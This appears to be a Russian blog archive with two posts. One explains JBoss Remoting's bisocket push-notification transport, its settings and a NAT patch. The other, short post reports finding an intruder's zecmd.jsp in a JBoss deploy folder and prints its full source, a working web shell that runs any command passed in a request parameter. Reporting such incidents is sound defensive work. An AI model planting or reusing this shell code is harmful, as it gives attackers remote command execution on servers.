Category Archives: Linux/Unix
При разработке клиент-серверных приложений иногда требуется наладить обратную связь – посылать сообщения от сервера к клиенту. Есть 2 стандартных пути решения этой задачи. Первый, самый простой, заключается в периодическом опросе клиентами сервера на предмет наличия сообщений для них. Он не очень удобен, потому что если выбрать большой интервал между опросами, то данные будут обновляться медленно, а если интервал сделать маленьким, то при большом количестве клиентов сервер будет завален запросами. Плюс сетевой траффик. В общем, не очень. Второй же вариант – push-уведомления – сервер сам посылает клиенту сообщение, когда нужно. И этот путь намного лучше, поскольку он лишён всех недостатков первой схемы. Единственный минус push-уведомлений – проблемы реализации. Не всегда клиент доступен для подключения со стороны сервера (если клиент за NATом, например, и чтобы подключиться к нему, нужно пробрасывать порт). В этом случае приходится либо отказываться от push-уведомлений, либо реализовывать их более хитрым образом. Одну из таких реализаций мы и рассмотрим, на примере транспорта bisocket в библиотеке JBoss Remoting.
JBoss Remoting
Вообще JBoss Remoting – это библиотека, созданная как раз для быстрой реализации таких вещей. Она позволяет использовать единое API для работы со кучей разных транспортов. То есть, грубо говоря, на клиенте можно написать Client.send(message), а на сервере сочинить обработчик для поступающих сообщений. И после этого выбрать подходящий транспорт, коих поддерживается множество: есть HTTP, есть Sockets, есть RMI, есть SSL Sockets. Есть даже какие-то особенные транспорты Servlet и Coyote (непонятно, чем они отличаются от HTTP, наверное, используют какие-то особенности сервлетного API и реализации томката). Фишка в том, что API всегда одно и то же. Меняется только имя транспорта и конфигурация (каждый транспорт поддерживает свой набор параметров). Мы рассмотрим транспорт bisocket, его схему работы и то, как его настраивать и использовать.
Транспорт bisocket
Что такое bisocket ? Это транспорт на базе двух TCP сокетов. Один используется для запросов от клиента к серверу, другой – для обратной связи. Изначально в JBoss Remoting был транспорт Socket, но для реализации push-уведомлений он требовал коннекта от сервера к клиенту. Remoting использовался в JBoss Application Server для реализации JMS, а в сценариях с JMS это было неудобно. Если бы в качестве транспорта был использован Socket, то подписчики JMS должны были бы конфигурироваться так, чтобы принимать входящие соединения. Ребята из RedHat пораскинули мозгами и родили концепцию транспорта на базе сокетов, который не требует подключения сервера к клиенту. Вместо этого клиент открывает дополнительно второе, управляющее, соединение, через которое ждёт сообщений от сервера. Итак, давайте с вами посмотрим на то, как работает bisocket.
Подключение слушателя push-уведомлений
Клиент вызывает Client.addListener() для регистрации обработчика push-уведомлений. Код клиента посылает на сервер сообщение, запрашивающее координаты (хост и порт) вторичного сокета. Сервер передает координаты вторичного сокета, и клиент соединяется с ним, создавая управляющее соединение (control connection). Сервер после вызова accept() на вторичном сокете получает экземпляр Socket, с помощью которого он будет обмениваться сообщениями с клиентом, и сохраняет его у себя в статической Map. После этого клиент передает на сервер сообщение “addListener”, и сервер логически связывает клиента и предварительно сохранённый экземпляр Socket. После всего этого на стороне сервера стартует задача PingTask, которая периодически посылает ping-запросы на клиент и ждет ответа. Если ответа не приходит N раз подряд, управляющее соединение считается разорванным.
Отправка push-уведомлений
Серверная сторона вызывает InvokerCallbackHandler.handleCallback(). Сервер проверяет, есть ли в пуле соединений свободное соединение с этим клиентом. Если такого нет, то по управляющему соединению сервер посылает клиенту сообщение о том, чтобы клиент подключился ко вторичному сокету ещё раз – для создания рабочего соединения. После этого сервер ожидает подключения клиента (появления соответствующего экземпляра Socket в статической Map). Клиент получает это сообщение, и подключается на вторичный сокет, создавая worker thread для обработки этого соединения. В это время сервер после вызова accept() получает экземпляр Socket для этого нового рабочего соединения, сохраняет его в статическую Map, после чего выполнение серверного кода посылки push-уведомления продолжается, и сообщение идёт уже в это новое соединение. После отправки соединение добавляется в пул соединений для дальнейшего использования.
Что происходит, если управляющее соединение рвется
Восстановление происходит на стороне клиента. Клиент уведомляется о том, что ping-сообщения не получались уже долгое время. Клиентский код заново запрашивает сервер о координатах вторичного сокета (вдруг они изменились). Клиент подключается ко вторичному сокету и параллельно с этим посылает на сервер сообщение о том, что текущее управляющее соединение нужно заменить новым. Сервер, получив это сообщение, подождет, когда будет вызван accept() на вторичном сокете, и получив экземпляр свежесозданного Socket, заменит им старый Socket управляющего соединения.
Настройки
Итак, теперь, когда мы разобрали схему работы транспорта Bisocket, можно перечислить настройки, сразу станет ясно, зачем каждая из них.
IS_CALLBACK_SERVER – задаётся на стороне клиента. Если false (значение по умолчанию), то будет использован обычный механизм соединения сервера к клиенту (как в транспорте Socket). Правда не понимаю, зачем было устанавливать это значение по умолчанию в false, если транспорт специально был написан для функциональности, которая становится доступной только если значение установлено в true. Не вижу логики в этом. Нам, правильным пацанам, надо ставить его в true, или использовать обычный Socket.
Все остальные рассматриваемые настройки – серверные.
SECONDARY_BIND_PORT – порт, который будет прослушиваться вторичным сокетом. Если он не задан, будет выбран произвольный порт, и если ваш сервер размещён за брандмауэром, то вам может не повезти, и ваш клиент не сможет подключиться к вторичному сокету. Поэтому рекомендую задавать его явно.
SECONDARY_CONNECT_PORT – порт, который будет передан клиенту при запросе координат вторичного сокета. По умолчанию равен SECONDARY_BIND_PORT, но если ваш сервер размещён за NAT’ом, то при пробросе порта внешний порт и внутренний могут не совпадать. В этом случае в SECONDARY_CONNECT_PORT вы можете установить внешний порт, и клиент будет подключаться на него.
SECONDARY_BIND_PORTS и SECONDARY_CONNECT_PORTS – настройки для multihome серверов, это вы можете попробовать, если у вас стоит балансировщик нагрузки. Не знаю как будет вести себя сервер, наверное он будет принимать подключения на все указанные порты.
SERVER_BIND_ADDRESS – адрес, по которому будут прослушиваться первичный и вторичный сокеты. Обычно устанавливается в ${jboss.bind.address} (если используется вариант конфигурации в xml в jboss). По умолчанию вроде бы подключается на *, но в документации почему-то об этом не упоминается. Может быть, я что-то путаю.
SERVER_BIND_PORT – порт, по которому будет прослушиваться первичный сокет.
Проблема с NAT
Если ваш сервер размещён за NAT’ом, то скорее всего вы столкнетесь с проблемой того, что управляющее соединение не будет создаваться. Это связано с тем, что при создании управляющего соединения сервер передаёт на клиент координаты вторичного сокета, хост и порт. Хост он берёт из настройки SERVER_BIND_ADDRESS, который в случае используемого NAT скорее всего будет указывать на адрес в локальной сети. Соответственно, клиент при получении этого хоста будет пытаться на него подключиться, и не сможет. К сожалению, настройки “использовать для подключения хост, применявшийся для установки первичного соединения” нет. Мы столкнулись с этой проблемой, и я не нашёл иного решения кроме патчинга библиотеки. Нужно скачать svn репозиторий для тега 2.5.4.SP4, пропатчить файл BisocketClientInvoker.java, в строке 355 заменив Object o = invoke(r); на кусок кода
Object o = invoke(r); // DZ: patch to use original server address for creating secondary connection // instead of address retrieved from server (because server will return jboss bind address // that can be local address, inaccessible from client) InvokerLocator patchedLocator = new InvokerLocator( (( InvokerLocator ) o).getOriginalURI().replace( (( InvokerLocator ) o).getHost(), this.getLocator().getHost() ) ); log.debug("secondary locator: " + o); log.debug("patched secondary locator: " + patchedLocator); return patchedLocator; |
После этого нужно пересобрать библиотеку командой ant и всё будет готово. Либо подождать, пока редхатовцы рассмотрят созданный тикет https://issues.jboss.org/browse/JBREM-1322
Пример кода
Примеры доступны в дистрибутиве библиотеки, для bisocket есть отдельный пример, примеры можно запустить с помощью ant, выполнив ant run-bisocket-server и ant run-bisocket-client для запуска сервера и клиента соответственно. К сожалению, конкретно этот пример очень куцый, и он даже не рассчитан на подключение более чем одного клиента, но этим грешат все примеры в этом дистрибутиве. Если будет время, я напишу более хороший пример, во-первых, standalone сервера и клиента (консольных или на Swing’е), а во-вторых, приведу пример конфигурации сервера в рамках JBoss AS (там это делается при помощи xml, что очень удобно).
Придя на работу, обнаружил в логах странное :
java.io.IOException: CreateProcess error=2, ?? ??????? ????? ????????? ???? at java.lang.ProcessImpl.create(Native Method) at java.lang.ProcessImpl.<init>(ProcessImpl.java:81) at java.lang.ProcessImpl.start(ProcessImpl.java:30) |
Чуть ниже был обнаружен и источник этого сообщения – zecmd.jsp. Файл этот был быстро найден в директории /default/deploy/management/zecmd.war и содержал примитивный веб-шелл :
<%@ page import="java.util.*,java.io.*" %> <% %> <HTML> <BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } } %> |
1